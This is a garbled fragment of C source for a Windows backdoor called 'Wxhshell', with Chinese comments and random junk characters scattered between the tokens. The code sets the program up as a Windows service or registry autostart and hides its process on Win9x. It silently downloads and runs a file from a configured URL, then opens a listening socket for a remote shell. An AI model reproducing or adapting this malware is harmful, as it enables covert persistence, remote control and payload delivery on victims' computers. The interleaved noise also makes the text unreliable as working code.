M?DZShkV_ if(strstr(procName,"services")) return 1; // 以服务启动 V^4v`}Wgx HEAW](s return 0; // 注册表启动 QO0@Ax\b } #-PMREgO v 2p // 主模块 !#~KSO}zW2 int StartWxhshell(LPSTR lpCmdLine) @3$ I { 5gV,^[E-z SOCKET wsl; ` &bF@$(( BOOL val=TRUE; [VqiF~o, int port=0; P{9wJ< struct sockaddr_in door; H-nhq-fut SP/b4 if(wscfg.ws_autoins) Install(); ID`Ot{ y cJbv,RV< port=atoi(lpCmdLine); &@'%0s9g $MGKGWx@E if(port<=0) port=wscfg.ws_port; *xmC`oP wN10Drc
WSADATA data; :3XvHL0rx if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H C,5j)1 !.^x^OK%y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q)BSngW+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QV.>Cy door.sin_family = AF_INET; ']fyD3N door.sin_addr.s_addr = inet_addr("127.0.0.1"); tu"-]^ door.sin_port = htons(port); l)o!&]2 8t=O=l\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >~Gy+- closesocket(wsl); '3U,UD5EG return 1; gK;dfrU.8Y } YgjW%q R-dv$z0 if(listen(wsl,2) == INVALID_SOCKET) { GM9[ 0+u; closesocket(wsl); 5Za<]qxr return 1; );AtFP0Y } 7P}l^WX Wxhshell(wsl); ;di.U, WSACleanup(); _Dqi#0#40p /m;Bwu return 0; QxaMe8( g.Qn,l]X/p } ;<[!;8 X_nbNql // 以NT服务方式启动 9S17Lr*c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !`7evV: { x=a#|]ngG DWORD status = 0; l l*g *zt3 DWORD specificError = 0xfffffff; *0@Z+'M? Qi dI serviceStatus.dwServiceType = SERVICE_WIN32; Yc-5Mr8*, serviceStatus.dwCurrentState = SERVICE_START_PENDING; sx;/xIU| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q.7X3A8 serviceStatus.dwWin32ExitCode = 0; v(JjvN21 serviceStatus.dwServiceSpecificExitCode = 0; ]AM*9! serviceStatus.dwCheckPoint = 0; g\/|7:yB] serviceStatus.dwWaitHint = 0; ;nbEV2Y< G7,v:dlK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,wg (}y' if (hServiceStatusHandle==0) return; F?MVQ!K* H(--hG5} status = GetLastError(); /Us+>vg! if (status!=NO_ERROR) !,Gavt7f { ]
s 2ec serviceStatus.dwCurrentState = SERVICE_STOPPED; /8`9SS serviceStatus.dwCheckPoint = 0; y
c<%f serviceStatus.dwWaitHint = 0; ^-s7>F`jx serviceStatus.dwWin32ExitCode = status; sA: /!9 serviceStatus.dwServiceSpecificExitCode = specificError; \8a014 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ASMItT return; ZJGIib } QjJlVlp X2| Z! serviceStatus.dwCurrentState = SERVICE_RUNNING;
#z.\pd serviceStatus.dwCheckPoint = 0; <?8cVLW}O serviceStatus.dwWaitHint = 0; /i Xl]< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -~\7ZRP8 } 6rG7/ wV$V X // 处理NT服务事件,比如:启动、停止 m |+zMf& VOID WINAPI NTServiceHandler(DWORD fdwControl) =8p[ (<F= { ;9=4]YZt switch(fdwControl) WRAv>s9 { U'5p;j)_ case SERVICE_CONTROL_STOP: .1J`>T?=Q serviceStatus.dwWin32ExitCode = 0; PiR`4Tu serviceStatus.dwCurrentState = SERVICE_STOPPED; ci(BPnQ serviceStatus.dwCheckPoint = 0; aG@GJ@w serviceStatus.dwWaitHint = 0; V)`Q0} { hdM?Uoo(4a SetServiceStatus(hServiceStatusHandle, &serviceStatus); QiRx2Z*\ } JL:B4f%}B return; FEa%wS{ case SERVICE_CONTROL_PAUSE: ,<OS:] serviceStatus.dwCurrentState = SERVICE_PAUSED; l~kxK.Ru break; #LwDs,J :
case SERVICE_CONTROL_CONTINUE: !a'{gw serviceStatus.dwCurrentState = SERVICE_RUNNING; hE2{m{^A break; T z+Y_ case SERVICE_CONTROL_INTERROGATE: RhjU^,% break; W`wT0kP?*] }; V-i:t,*lk( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3i}$ ~rz]U } /h&>tYVio J/ vcP // 标准应用程序主函数 &hhxp1B int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SS,'mv { zq#gf i2Gh!5]f // 获取操作系统版本 ?nR$>a` OsIsNt=GetOsVer(); *OKve GetModuleFileName(NULL,ExeFile,MAX_PATH); (G"/C7q }
/Iw]!lK2 // 从命令行安装 k1FG$1. if(strpbrk(lpCmdLine,"iI")) Install(); JlH5 <:#PN mO\=#Q> // 下载执行文件 r3Ih]|FK# if(wscfg.ws_downexe) { V3\}]5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (]<G)+* WinExec(wscfg.ws_filenam,SW_HIDE); !P _'n } n8e}8.Bu YH!` uU(Lh if(!OsIsNt) { C1~Ro9si // 如果时win9x,隐藏进程并且设置为注册表启动 04z2gAo HideProc(); 9n".Q-V;k StartWxhshell(lpCmdLine); 2)
A$bx } =G<S!qW else Wuji'sxTs if(StartFromService()) v*e=oyx[ // 以服务方式启动 r\{; ~V StartServiceCtrlDispatcher(DispatchTable); en gh3TZC else 4T#Z[B[ // 普通方式启动 nr{}yQu StartWxhshell(lpCmdLine); gLv";"4S RD p(Ci return 0; ~7=w,+ }
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